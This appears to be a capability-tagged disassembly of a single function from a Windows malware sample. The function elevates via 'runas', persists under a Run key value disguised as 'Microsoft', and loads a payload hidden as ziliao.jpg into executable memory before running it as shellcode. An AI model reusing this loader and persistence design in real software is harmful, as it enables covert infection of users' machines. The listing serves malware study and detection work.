Function at 0x402800
Capabilities:
Check os version
Create process on windows
Get file size
Persist via run registry key
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
mov eax, dword [0x42c028]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [0x41e180]
cmp eax, 1
je 0x402920
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00407540
add esp, 0xc
lea eax, [ebp - 0x108]
push 0x104
push eax
push 0
call dword [0x41e044]
lea eax, [ebp - 0x108]
mov dword [ebp - 0x2ac], 0x9c
mov dword [0x42dc4c], eax
lea eax, [ebp - 0x2ac]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x40295e
cmp dword [ebp - 0x2a8], 5
jbe 0x40295e
push 0x104
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00407540
mov edx, dword [0x42dc4c]
add esp, 0xc
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4028a4
lea edi, [ebp - 0x20c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4028b4
mov ecx, edx
lea eax, [ebp - 0x2e8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x38
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
mov dword [ebp - 0x2ec], 0x3c
call fcn.00407540
add esp, 0xc
mov dword [ebp - 0x2e0], str.runas
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x2d0], 5
mov dword [ebp - 0x2dc], eax
lea eax, [ebp - 0x2ec]
push eax
call dword [0x41e184]
test eax, eax
je 0x40295e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [0x41e040]
push 8
mov edi, eax
call fcn.0040ab4a
add esp, 4
mov esi, eax
push 2
push 8
push esi
call dword [0x41e008]
test eax, eax
je 0x402955
push 0
push esi
push 0
push 0
push 4
push 6
push edi
call dword [0x41e00c]
push esi
call fcn.0040a7c2
add esp, 4
mov esi, dword [0x41e048]
push 0
push 0
push 0
push 0x402170
push 0
push 0
call esi
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x210], 1
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [0x41e004]
test eax, eax
jne 0x4029d7
push eax
push eax
lea eax, [ebp - 0x210]
push eax
push 0
push str.Microsoft
push dword [ebp - 0x2b0]
call dword [section..rdata]
push dword [ebp - 0x2b0]
mov edi, eax
call dword [0x41e010]
test edi, edi
je 0x4029fc
cmp edi, 0xea
je 0x4029fc
push 0
push str.C:ProgramDataMicrosoftEdgeUpdateLogchuangkou.log
call fcn.0040a738
add esp, 8
cmp eax, 0xffffffff
je 0x4029fc
push 0
push 0
push 0
push 0x4027e0
push 0
push 0
call esi
push 0x4287d3
push 0
call fcn.0040a4f8
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.C:ProgramDataMicrosoftProgramziliao.jpg
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.00405ba6
push edi
mov ebx, eax
push 0
push ebx
call fcn.00407540
add esp, 0x10
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x210]
push 0
push eax
push edi
push ebx
push esi
call dword [0x41e04c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
push 0x3000
push edi
push 0
call dword [0x41e03c]
mov esi, eax
test esi, esi
je 0x402a93
push edi
push ebx
push esi
call fcn.00406fa0
add esp, 0xc
test eax, eax
je 0x402a93
call esi
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405b55
mov esp, ebp
pop ebp
ret